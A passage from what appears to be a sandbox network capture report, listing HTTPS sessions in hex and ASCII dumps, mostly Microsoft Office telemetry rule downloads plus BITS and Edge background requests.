2024-11-25 17:28:26 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-25 17:28:26 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49730	2.18.109.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:25 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 17:28:25 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=57896 Date: Mon, 25 Nov 2024 17:28:25 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-25 17:28:25 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:28 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:28 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:28 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5299024a-c01e-0079-4d47-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172828Z-174c587ffdf6b487hC1TEBydsn000000066000000000cwv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:28 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:28 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:28 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:28 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 89a9fa5c-d01e-0017-5438-3cb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172828Z-178bfbc474bxkclvhC1NYC69g400000007sg0000000072cs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:28 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:28 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:28 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:28 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 12c25404-a01e-0070-5667-3d573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172828Z-15b8b599d886w4hzhC1TEBb4ug000000067g00000000mmmg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:28 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:28 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:28 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 0e051980-b01e-005c-631b-3d4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172828Z-178bfbc474bfw4gbhC1NYCunf400000007rg00000000kvgb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:28 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:28 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:28 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: a3d07856-b01e-0084-3a7e-3bd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172828Z-174c587ffdfl22mzhC1TEBk40c00000006a000000000ssbz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:28 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49745	94.245.104.56	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:31 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:31 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 25 Nov 2024 17:28:30 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=4c3badee49d7a7bd1a84fc06a7fc4ce1fa385e6541e43b9f60ae9b9ee2cf1cd2;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=4c3badee49d7a7bd1a84fc06a7fc4ce1fa385e6541e43b9f60ae9b9ee2cf1cd2;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:31 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:31 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 4860472f-101e-0028-01d0-3e8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172831Z-178bfbc474b9fdhphC1NYCac0n00000007kg00000000ud6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:31 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:31 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:31 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 8592a006-f01e-0085-6b6a-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172831Z-174c587ffdfx984chC1TEB676g000000063g00000000x4wd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:31 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:31 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:31 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 3257c6a6-201e-005d-32b4-3eafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172831Z-178bfbc474bvjk8shC1NYC83ns00000007fg00000000wn12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:31 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:31 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:31 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 65361fd5-201e-0033-283f-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172831Z-15b8b599d88vp97chC1TEB5pzw000000067000000000cfks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:31 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:31 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:31 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: c312cdef-801e-0083-52a3-3ef0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172831Z-174c587ffdfp4vpjhC1TEBybqw00000006a00000000056u5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
